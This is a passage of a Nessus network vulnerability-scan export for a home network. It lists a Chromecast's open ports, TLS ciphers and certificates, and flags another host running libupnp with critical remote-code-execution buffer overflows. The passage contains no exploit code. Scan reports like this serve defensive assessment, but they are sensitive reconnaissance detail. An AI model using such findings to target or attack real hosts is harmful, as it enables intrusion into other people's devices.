quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 10101/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.25		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.2
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.2
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.25		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.25 resolves as Chromecast.
										None								2/11/04		4/14/17

		19506						None		192.168.0.25		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 266 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.25		tcp		8009		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv13
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    TLS_AES_128_GCM_SHA256        0x13, 0x01       -             -        AES-GCM(128)           AEAD
    TLS_AES_256_GCM_SHA384        0x13, 0x02       -             -        AES-GCM(256)           AEAD
    TLS_CHACHA20_POLY1305_SHA256  0x13, 0x03       -             -        ChaCha20-Poly1305(256) AEAD


SSL Version : TLSv12
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1


SSL Version : TLSv11
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1


SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		21643						None		192.168.0.25		tcp		8443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv12
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1


SSL Version : TLSv11
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1


SSL Version : TLSv1
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.25		tcp		8009		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.25		tcp		8443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		25220						None		192.168.0.25		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.25		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.25:8008/ssdp/device-desc.xml

And advertises these unique service names :

    uuid:02396355-86f2-724c-b621-a89625b919e3::upnp:rootdevice
    uuid:02396355-86f2-724c-b621-a89625b919e3::urn:dial-multiscreen-org:device:dial:1
    uuid:02396355-86f2-724c-b621-a89625b919e3::urn:dial-multiscreen-org:service:dial:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.25		tcp		8008		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.25:8008/ssdp/device-desc.xml :

deviceType: urn:dial-multiscreen-org:device:dial:1
friendlyName: Poolhouse  TV
manufacturer: Google Inc.
modelName: Eureka Dongle
modelName: Eureka Dongle
ServiceID: urn:dial-multiscreen-org:serviceId:dial
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: /ssdp/notfound
	eventSubURL: /ssdp/notfound
	SCPDURL: /ssdp/notfound
										None								2/19/09		6/12/20

		35716						None		192.168.0.25		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

44:07:0B:35:00:40 : Google, Inc.
										None								2/19/09		5/13/20

		64394		CVE-2012-5958		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		42981						None		192.168.0.25		tcp		8009		SSL Certificate Expiry - Future Expiry		The SSL certificate associated with the remote service will expire
soon.		The SSL certificate associated with the remote service will expire
soon.		Purchase or generate a new SSL certificate in the near future to
replace the existing one.				
The SSL certificate will expire within 60 days, at
Nov  6 16:40:10 2020 GMT :

  Subject          : CN=02396355-86f2-724c-b621-a89625b919e3
  Issuer           : CN=02396355-86f2-724c-b621-a89625b919e3
  Not valid before : Nov  4 16:40:10 2020 GMT
  Not valid after  : Nov  6 16:40:10 2020 GMT
										None								12/2/09		9/4/20

		45410						None		192.168.0.25		tcp		8009		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  chromecast

The Common Name in the certificate is :

  02396355-86f2-724c-b621-a89625b919e3
										None								4/3/10		6/25/19

		45410						None		192.168.0.25		tcp		8443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  chromecast

The Common Name in the certificate is :

  ad49ztw fa8fca646c20
										None								4/3/10		6/25/19

		45590						None		192.168.0.25		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.2
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		50845						None		192.168.0.25		tcp		8009		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		64394		CVE-2012-5959		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5960		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		54615						None		192.168.0.25		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.25		tcp		8009		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.3/TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		56984						None		192.168.0.25		tcp		8443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		57041						None		192.168.0.25		tcp		8009		SSL Perfect Forward Secrecy Cipher Suites Supported		The remote service supports the use of SSL Perfect Forward Secrecy
ciphers, which maintain confidentiality even if the key is stolen.		The remote host supports the use of SSL ciphers that offer Perfect
Forward Secrecy (PFS) encryption.  These cipher suites ensure that
recorded SSL traffic cannot be broken at a future date if the server's
private key is compromised.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange
https://en.wikipedia.org/wiki/Perfect_forward_secrecy		
Here is the list of SSL PFS ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								12/7/11		11/15/18

		57041						None		192.168.0.25		tcp		8443		SSL Perfect Forward Secrecy Cipher Suites Supported		The remote service supports the use of SSL Perfect Forward Secrecy
ciphers, which maintain confidentiality even if the key is stolen.		The remote host supports the use of SSL ciphers that offer Perfect
Forward Secrecy (PFS) encryption.  These cipher suites ensure that
recorded SSL traffic cannot be broken at a future date if the server's
private key is compromised.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange
https://en.wikipedia.org/wiki/Perfect_forward_secrecy		
Here is the list of SSL PFS ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								12/7/11		11/15/18

		64394		CVE-2012-5961		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		70544						None		192.168.0.25		tcp		8009		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70544						None		192.168.0.25		tcp		8443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		83298						None		192.168.0.25		tcp		8009		SSL Certificate Chain Contains Certificates Expiring Soon		The remote host has an SSL certificate chain with one or more
certificates that are going to expire soon.		The remote host has an SSL certificate chain with one or more SSL
certificates that are going to expire soon. Failure to renew these
certificates before the expiration date may result in denial of
service for users.		Renew any soon to expire SSL certificates.				
The following soon to expire certificate was part of the certificate
chain sent by the remote host :

|-Subject   : CN=02396355-86f2-724c-b621-a89625b919e3
|-Not After : Nov 06 16:40:10 2020 GMT
										None								5/8/15		5/8/15

		86420						None		192.168.0.25		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 44:07:0B:35:00:40
										None								10/16/15		5/13/20

		64394		CVE-2012-5962		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
